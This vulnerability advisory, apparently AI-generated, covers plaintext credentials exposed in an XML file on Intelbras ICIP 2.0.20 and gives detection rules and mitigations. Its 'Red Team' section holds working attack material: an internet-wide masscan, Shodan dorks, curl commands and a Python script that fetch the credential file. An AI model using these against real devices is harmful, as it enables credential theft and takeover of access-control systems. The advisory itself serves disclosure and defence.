CVE-2025-13187

Executive Summary

CVE-2025-13187 is a critical security vulnerability in Intelbras ICIP 2.0.20, a surveillance and access control platform. The flaw resides in the file /xml/sistema/acessodeusuario.xml, where the arguments NomeUsuario and SenhaAcess are stored in plaintext without encryption or access controls. This allows an unauthenticated remote attacker to retrieve user credentials by simply requesting the XML file. The exploit has been publicly disclosed, increasing the risk of mass exploitation. No patch is currently available from Intelbras, leaving all systems running ICIP 2.0.20 exposed.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a proprietary embedded system vulnerability in Intelbras hardware/firmware. However, organizations using Intelbras ICIP should treat this as a supply chain risk due to the lack of vendor patch and the exposure of credentials in a static file.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the public exploit and remote attack vector, a reasonable assessment is:

• Attack Vector (AV): Network (N) – remote exploitation possible.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated access.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – vulnerable component only.
• Confidentiality (C): High (H) – credentials exposed.
• Integrity (I): None (N) – no data modification.
• Availability (A): None (N) – no denial of service.

Estimated CVSS Score: 7.5 (High) – based on AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.

Threat Level: Critical due to public exploit, no patch, and ease of exploitation.

Deep Dive & Mechanics

The vulnerability is a classic case of unprotected storage of credentials (CWE-522). The Intelbras ICIP system stores user credentials in an XML file located at /xml/sistema/acessodeusuario.xml. This file is accessible via HTTP without authentication, meaning any attacker who can reach the device’s web interface can download the file and extract usernames (NomeUsuario) and passwords (SenhaAcess) in plaintext.

Root Cause: The application fails to:

1. Encrypt or hash credentials before storage.
2. Restrict access to the credentials file via web server configuration (e.g., .htaccess or directory listing prevention).
3. Implement any authentication check for sensitive endpoints.

Attack Flow:

1. Attacker scans for Intelbras ICIP devices (e.g., using Shodan dork http.title:"ICIP").
2. Attacker sends a GET request to http://<target>/xml/sistema/acessodeusuario.xml.
3. The server returns the XML file containing credentials.
4. Attacker uses extracted credentials to log into the device’s admin interface, gaining full control.

Vulnerable vs. Patched Code

Vulnerable Code (Intelbras ICIP 2.0.20): The file /xml/sistema/acessodeusuario.xml contains:

<usuario>
    <NomeUsuario>admin</NomeUsuario>
    <SenhaAcess>plaintext_password</SenhaAcess>
</usuario>

No encryption or access control is applied.

Patched Code (Hypothetical): A secure implementation would:

• Store credentials hashed (e.g., bcrypt) in a database.
• Restrict access to the credentials file via web server rules (e.g., deny all).
• Use a secure API endpoint with authentication to manage users.

Example of a patched configuration (Apache):

<Files "acessodeusuario.xml">
    Require all denied
</Files>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Intelbras ICIP 2.0.20.
• Network access to the device’s web interface (port 80/443).

Exploit Steps:

1. Identify target using Shodan or masscan:

   masscan 0.0.0.0/0 -p80 --rate=1000 --output-format grepable | grep "ICIP"
   

2. Request the credentials file:

   curl http://<target>/xml/sistema/acessodeusuario.xml
   

3. Parse the XML to extract credentials:

   curl -s http://<target>/xml/sistema/acessodeusuario.xml | grep -oP '<NomeUsuario>.*?</NomeUsuario>|<SenhaAcess>.*?</SenhaAcess>'
   

4. Use credentials to log into the admin panel (usually at /admin or /index.html).

Automated Exploit Script (Python):

import requests
import sys

target = sys.argv[1]
url = f"http://{target}/xml/sistema/acessodeusuario.xml"
try:
    r = requests.get(url, timeout=5)
    if r.status_code == 200:
        print("[+] Credentials found:")
        print(r.text)
    else:
        print("[-] Failed to retrieve file")
except Exception as e:
    print(f"[-] Error: {e}")

Blue Team (Defense & Detection)

Immediate Actions:

1. Isolate affected devices from the internet (block port 80/443 at the firewall).
2. Change all default credentials immediately.
3. Monitor for unauthorized access to /xml/sistema/acessodeusuario.xml.

Detection Rules:

• Monitor web server logs for requests to /xml/sistema/acessodeusuario.xml.
• Alert on any successful retrieval of this file (HTTP 200).

Indicators of Compromise (IOCs)

• File Path: /xml/sistema/acessodeusuario.xml
• HTTP Request Pattern: GET /xml/sistema/acessodeusuario.xml
• Response Content: XML containing <NomeUsuario> and <SenhaAcess> tags.
• Network Traffic: Unencrypted HTTP requests to port 80/443 on Intelbras devices.
• Shodan Dorks: http.title:"ICIP", http.html:"/xml/sistema/acessodeusuario.xml"

Detection Engineering

YARA Rule

rule Intelbras_ICIP_Credential_Exposure {
    meta:
        description = "Detects requests to Intelbras ICIP credential file"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13187"
    strings:
        $xml_path = "/xml/sistema/acessodeusuario.xml"
        $cred_tag = "<SenhaAcess>"
    condition:
        $xml_path or $cred_tag
}

Sigma Rule

title: Intelbras ICIP Credential File Access
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the Intelbras ICIP credential file
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-path: "/xml/sistema/acessodeusuario.xml"
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"Intelbras ICIP Credential File Access"; flow:to_server; content:"GET"; http_method; content:"/xml/sistema/acessodeusuario.xml"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation (No Patch Available):

1. Network Segmentation: Place Intelbras ICIP devices on a separate VLAN with strict firewall rules. Block inbound HTTP/HTTPS from untrusted networks.
2. Access Control: If possible, use a reverse proxy (e.g., Nginx) to restrict access to the /xml/ directory:

   location /xml/ {
       deny all;
   }
   

3. Credential Rotation: Change all passwords stored in the device immediately.
4. Monitor Logs: Enable detailed logging and alert on any access to /xml/sistema/acessodeusuario.xml.

Long-Term Remediation:

• Contact Intelbras for an official patch or firmware update.
• Consider replacing the device with a secure alternative if no patch is provided.
• Implement a Web Application Firewall (WAF) to block requests to sensitive paths.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.